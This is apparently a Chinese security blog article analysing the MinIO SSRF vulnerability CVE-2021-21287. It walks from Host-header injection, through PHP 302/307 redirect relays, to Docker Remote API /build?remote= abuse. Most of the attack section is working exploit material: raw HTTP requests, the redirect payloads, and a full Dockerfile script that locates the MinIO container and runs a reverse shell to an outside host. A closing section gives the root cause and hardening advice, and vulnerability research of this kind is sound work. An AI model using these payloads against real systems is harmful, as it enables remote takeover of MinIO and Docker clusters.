MinIO SSRF 漏洞(CVE-2021-21287)深度剖析:从 Host 头注入到 Docker 集群远程命令执行

原创2026-10-14 22:23:032,279 阅读
文章标签:网络安全渗透测试知识库

MinIO SSRF 漏洞(CVE-2021-21287)深度剖析:从 Host 头注入到 Docker 集群远程命令执行

本篇技术指南以 Awesome-POC 仓库中 MinIO SSRF 漏洞 CVE-2021-21287 文档为主体,完整还原一条从 MinIO 前端 JsonRPC 接口审计出发,经由 JWT 鉴权分析、LoginSTS 未授权接口的 Host 头注入发现 SSRF,再借助 Go HTTP 客户端的 302/307 跳转特性逐级"升级"攻击能力,最终结合 Docker Remote API 的 /build?remote= 特性在容器内执行任意命令的攻击链。读完本文,你将掌握对象存储类服务 SSRF 漏洞的审计方法、利用跳转状态码绕过 SSRF 请求限制的通用思路,以及以 Docker API 未授权访问为跳板实现远程命令执行(RCE)的完整实战方案。

一、漏洞背景与影响面

随着企业业务逐步向云端迁移,对象存储的需求日益增长。MinIO 是一款支持部署在私有云的开源对象存储系统,完全兼容 AWS S3 协议,也支持作为 S3 的网关接入,因此在全球被广泛使用。MinIO 中存在的 SSRF 漏洞(CVE-2021-21287),攻击者可借助该漏洞获取敏感信息,甚至实现远程命令执行。

漏洞影响:

MinIO

从本文给出的利用链来看,该漏洞的实际危害取决于目标环境:单独的 SSRF 至少可用于内网端口扫描;配合 Go 默认 HTTP 客户端的 302/307 跳转特性,可将其"升级"为可控 URL 的 GET/POST 请求;若目标内网还暴露了 Docker Remote API(2375 端口),则可进一步实现容器内任意命令执行,最终拿下 MinIO 本体。

二、攻击入口分析:前端 JsonRPC 与 JWT 鉴权

MinIO 使用 Go 开发,对外提供 HTTP 接口,并附带一个名为 "MinIO Browser" 的前端页面。前端页面本质是一个登录接口,不知道口令无法直接登录,因此将其作为代码审计的入口点。

在 User-Agent 满足正则 .*Mozilla.* 的情况下即可访问该前端接口,前端接口是 MinIO 自己实现的一套 JsonRPC:

MinIO 前端 JsonRPC 接口调用示例

审计的重点是鉴权逻辑。随便挑选一个 RPC 方法,可见其开头调用了 webRequestAuthenticate,跟进后可以发现这里使用的是 JWT 鉴权:

JsonRPC 方法开头调用 webRequestAuthenticate 进行 JWT 鉴权

JWT 常见的攻击方法主要有以下几种:

  • 将 alg 设置为 None,告诉服务器不进行签名校验;
  • 如果 alg 为 RSA,可以尝试修改为 HS256,即告诉服务器使用公钥进行签名校验;
  • 爆破签名密钥。

查看 MinIO 的 JWT 模块,可以发现其中对 alg 进行了校验,只允许以下三种签名方法:

MinIO JWT 模块对 alg 的白名单校验

这一校验直接堵死了前两种绕过方法。至于爆破密钥,通常仅在别无选择的情况下才使用——不过值得注意的是,MinIO 使用用户的密码作为签名密钥,这一点其实会让爆破变得简单一些。总体来看,鉴权这块没有突破点,于是转而排查哪些 RPC 接口没有进行权限验证。

三、未授权接口审计:LoginSTS 与 Host 头注入型 SSRF

很快找到一个接口 LoginSTS。该接口本质上是 AWS STS 登录接口的一个代理,用于将发送到 JsonRPC 的请求转变成 STS 方式,再转发给本地的 9000 端口(即 MinIO 自身,因为它兼容 AWS 协议)。其简化代码如下:

// LoginSTS - STS user login handler.
func (web *webAPIHandlers) LoginSTS(r *http.Request, args *LoginSTSArgs, reply *LoginRep) error {
    ctx := newWebContext(r, args, "WebLoginSTS")

    v := url.Values{}
    v.Set("Action", webIdentity)
    v.Set("WebIdentityToken", args.Token)
    v.Set("Version", stsAPIVersion)

    scheme := "http"
    // ...

    u := &url.URL{
        Scheme: scheme,
        Host:   r.Host,
    }

    u.RawQuery = v.Encode()
    req, err := http.NewRequest(http.MethodPost, u.String(), nil)
    // ...
}

虽然该接口不存在鉴权绕过问题,却暴露了一个有趣的点:MinIO 为了把请求转发给"自己",直接从用户发送的 HTTP 请求头 Host 中取出了"自己的地址",并把它作为 URL 的 Host 构造了新 URL。

问题就在这里:HTTP 请求头是用户可控的,因此可以构造任意的 Host,进而构造一个 SSRF 漏洞。

四、基础 SSRF 复现与能力边界

向 http://192.168.227.131:9000 发送如下请求,其中 Host 的值指向本地 ncat 开放的监听端口(192.168.1.142:4444):

POST /minio/webrpc HTTP/1.1
Host: 192.168.1.142:4444
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: application/json
Content-Length: 80

{"id":1,"jsonrpc":"2.0","params":{"token":  "Test"},"method":"web.LoginSTS"}

监听端成功收到来自 MinIO 的请求,证明 SSRF 漏洞确实存在:

ncat 监听端口成功收到 MinIO 发出的 SSRF 请求

仔细观察可以发现,这是一个 POST 请求,但 Path 和 Body 都无法控制,我们能控制的只有 URL 中的一个参数 WebIdentityToken。而且该参数经过了 URL 编码,无法注入换行符等其他特殊字符。这样一来就比较鸡肋——仅从当前能力看,这个 SSRF 只能用于扫描端口。但攻击目标显然不止于此。

五、利用 302 跳转"升级":获得完整 URL 可控的 GET 请求

幸运的是,Go 默认的 http 库会跟踪 302 跳转,而且对 GET 和 POST 请求一视同仁。因此可以利用 302 跳转来"升级"这个 SSRF 漏洞。

使用 PHP 简单地构造一个 302 跳转:

<?php
header('Location: http://192.168.1.142:4444/attack?arbitrary=params');

将其保存为 index.php,启动一个 PHP 服务器:

启动 PHP 服务器作为 302 跳转中继

随后把 SSRF 请求的 Host 指向这个 PHP 服务器。经过一次 302 跳转,就收获了一个可以控制完整 URL 的 GET 请求:

经过 302 跳转后收到完整 URL 可控的 GET 请求

至此限制放宽了一些。结合对该内网的了解,可以尝试攻击 Docker 集群的 2375 端口。

六、利用 307 跳转:构造 Path 可控的 POST 请求

2375 是 Docker API 的接口,使用 HTTP 协议通信,默认不监听 TCP 地址(通常绑定在本地 socket 上),此处大概率是为了方便内网其他机器使用而开放在了内网地址。那么能否通过 SSRF 攻击这个接口呢?

在 Docker 未授权访问的情况下,通常可以使用 docker run 或 docker exec 在目标容器里执行任意命令(仓库中 Docker daemon api 未授权访问漏洞 RCE 一文完整记录了基于 2375 端口的利用手法)。但查阅 Docker 文档可知,这两个操作的请求分别是 POST /containers/create 和 POST /containers/{id}/exec——两个 API 都是 POST 请求,而当前能构造的 SSRF 却是 GET 型的。

还记得 GET 型 SSRF 是怎么获得的吗?通过 302 跳转,而接受第一次跳转的原始请求本身就是一个 POST 请求。不过无法直接利用这个 POST 请求,因为它的 Path 不可控。

那么如何构造一个 Path 可控的 POST 请求?答案是利用 307 跳转。307 状态码在 RFC 7231 中定义,描述如下:

The 307 (Temporary Redirect) status code indicates that the target resource resides temporarily under a different URI and the user agent MUST NOT change the request method if it performs an automatic redirection to that URI.

307 跳转的特点是不会改变原始请求的方法——在服务端返回 307 状态码的情况下,客户端会按照 Location 指向的地址发送一个相同方法的请求。正好可以利用这一特性来获得 POST 请求。

简单修改之前的 index.php:

<?php
header('Location: http://192.168.1.142:4444/attack?arbitrary=params', false, 307);

再次发起 SSRF 攻击,收到了预期的请求:

利用 307 跳转获得 Path 可控的 POST 请求

Bingo,获得了一个 POST 请求的 SSRF,虽然依旧没有 Body。

七、绕过 Body 限制:利用 Docker build 接口的 remote 参数

回到 Docker API 本身。docker run 和 docker exec 两个 API 都需要在请求 Body 中传输 JSON 格式的参数,而当前的 SSRF 无法控制 Body,因此仍然无法直接利用这两个接口。

继续翻阅 Docker 文档,发现了另一个 API——Build an image:

Docker 官方文档中 ImageBuild 接口的说明

这个 API 的大部分参数是通过 Query Parameters(查询参数)传输的,而查询参数是可控的。阅读其中的选项,可以发现一个名为 remote 的参数,其说明为:

A Git repository URI or HTTP/HTTPS context URI. If the URI points to a single text file, the file's contents are placed into a file called Dockerfile and the image is built from that file. If the URI points to a tarball, the file is downloaded by the daemon and the contents therein used as the context for the build. If the URI points to a tarball and the dockerfile parameter is also specified, there must be a file with the corresponding path inside the tarball.

该参数可以传入一个 Git 地址或 HTTP URL,内容可以是一个 Dockerfile、一个包含 Dockerfile 的 Git 项目,或一个压缩包。也就是说,Docker API 支持通过指定远程 URL 的方式来构建镜像,而不需要在本地写入 Dockerfile。

于是编写这样一个 Dockerfile,验证能否成功 build 镜像——如果可以,那么 4444 端口应该能收到 wget 发出的请求:

FROM alpine:3.13
RUN wget -T4 http://192.168.1.142:4444/docker/build

然后修改前面的 index.php,将跳转目标指向 Docker 集群的 2375 端口:

<?php
header('Location: http://192.168.227.131:2375/build?remote=http://192.168.1.142:4443/Dockerfile&nocache=true&t=evil:1', false, 307);

进行 SSRF 攻击,等待片刻后果然收到了请求:

Docker build 过程中 4444 端口收到容器内 wget 发出的请求

完美,此时已经可以在目标集群的容器里执行任意命令了。整条能力升级链路可归纳为:

阶段 利用方式 获得能力 主要限制
初始 SSRF Host 头注入 固定 Path 的 POST 请求 Path、Body 不可控,参数被 URL 编码
302 跳转 Go 客户端自动跟随重定向 完整 URL 可控的 GET 请求 仅 GET,无法访问 POST 接口
307 跳转 重定向保持原始方法 Path 可控的 POST 请求 无 Body
Docker build /build?remote= 拉取远端 Dockerfile 容器内任意命令执行(RCE) 依赖内网 2375 暴露

八、拿下 MinIO:自动化攻击脚本与反弹 shell

至此离最终目标"拿下 MinIO"还差最后一步。因为已经可以在容器里执行任意命令,就不再受 SSRF 漏洞限制——可以直接反弹 shell,也可以直接向 Docker API 发送任意数据包来访问容器。

经过测试发现,MinIO 虽然是以 service 形式运行的,但实际只有一个容器。因此可以编写一个自动化攻击 MinIO 容器的脚本,并将其放进 Dockerfile,让其在 Build 阶段执行攻击:利用 docker exec 在 MinIO 容器里执行反弹 shell 命令。完整 Dockerfile 如下:

FROM alpine:3.13

RUN apk add curl bash jq

RUN set -ex && \
    { \
        echo '#!/bin/bash'; \
        echo 'set -ex'; \
        echo 'target="http://192.168.227.131:2375"'; \
        echo 'jsons=$(curl -s -XGET "${target}/containers/json" | jq -r ".[] | @base64")'; \
        echo 'for item in ${jsons[@]}; do'; \
        echo '    name=$(echo $item | base64 -d | jq -r ".Image")'; \
        echo '    if [[ "$name" == *"minio/minio"* ]]; then'; \
        echo '        id=$(echo $item | base64 -d | jq -r ".Id")'; \
        echo '        break'; \
        echo '    fi'; \
        echo 'done'; \
        echo 'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{\"Cmd\": [\"bash\", \"-c\", \"bash -i >& /dev/tcp/192.168.1.142/4444 0>&1\"]}" | jq -r ".Id")'; \
        echo 'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"'; \
    } | bash

脚本逻辑并不复杂,分四步完成:

  1. 调用 GET /containers/json 获取集群中所有容器的列表,逐条以 base64 编码便于遍历;
  2. 解码每条容器信息,检查其镜像名(.Image)是否包含 minio/minio,命中即认为该容器是 MinIO 所在容器,记录其 Id;
  3. 向 POST /containers/{id}/exec 提交 JSON Body,创建一条在 MinIO 容器内执行 bash -i >& /dev/tcp/192.168.1.142/4444 0>&1 的 exec 任务,拿到 execid;
  4. 再向 POST /exec/{execid}/start 发起请求,真正启动该 exec 任务,从而触发反弹 shell。

其中 GET /containers/json、POST /containers/{id}/exec、POST /exec/{execid}/start 这三个接口均属于 Docker Remote API 的标准调用,仓库中 Docker daemon api 未授权访问漏洞 RCE 一文对 containers/json、exec 等接口的未授权访问利用有完整的命令示例与 Python EXP,可作为本攻击链的配套参考。

当然,在取得容器命令执行能力之后,也可以不局限于反弹 shell——直接通过 Docker API 获取集群权限,进而控制整个 Docker 集群,攻击面将远大于单台 MinIO。

九、漏洞根因总结与防护建议

从源码审计的角度看,CVE-2021-21287 的根因非常典型:服务端在构造内部转发请求时,信任了用户可控的 HTTP Host 头,并直接以其作为目标 URL 的 Host。结合 Go HTTP 客户端默认跟随重定向的行为,一个本应只能扫描端口的受限 SSRF 被逐级放大为可控制完整 URL 的 GET/POST 请求,最终借助内网 Docker API 完成 RCE。由此可以给出以下修复与加固建议(从漏洞原理推导,供参考):

  • 服务端转发不信任 Host 头:内部请求的目标地址应从配置文件、环境变量或本地回环地址(如 127.0.0.1)获取,而不是从用户请求头中解析;
  • 对转发目标做校验:即使需要动态指定目标,也应校验目标 IP 是否属于内网保留地址(如 RFC 1918 地址段),并限制目标端口,阻断 SSRF 跳板;
  • 控制重定向行为:使用 Go http.Client 时,可自定义 CheckRedirect,对重定向后的目标再次执行同样的合法性校验,防止通过 302/307 绕过最初的限制;
  • 收敛 Docker 暴露面:Docker Remote API(2375)不应直接绑定在 0.0.0.0 上对外网/内网其他节点开放,应启用 TLS 认证(2376)或至少限制来源 IP,具体加固方式可参考仓库中 Docker daemon api 未授权访问漏洞 RCE 与 MinIO 集群模式信息泄露漏洞 CVE-2023-28432 文档中关于访问控制的说明。

值得注意的是,MinIO 作为对象存储组件在云环境中的部署形态多样(单机、集群、Kubernetes),除本文分析的 SSRF 外,其集群模式在 RELEASE.2023-03-20T20-16-18Z 之前版本还存在可泄露 MINIO_ROOT_USER / MINIO_ROOT_PASSWORD 的信息泄露问题(见 MinIO 集群模式信息泄露漏洞 CVE-2023-28432),对 MinIO 资产的评估建议结合多个维度综合进行。

十、扩展阅读

登录后查看全文
Awesome-POC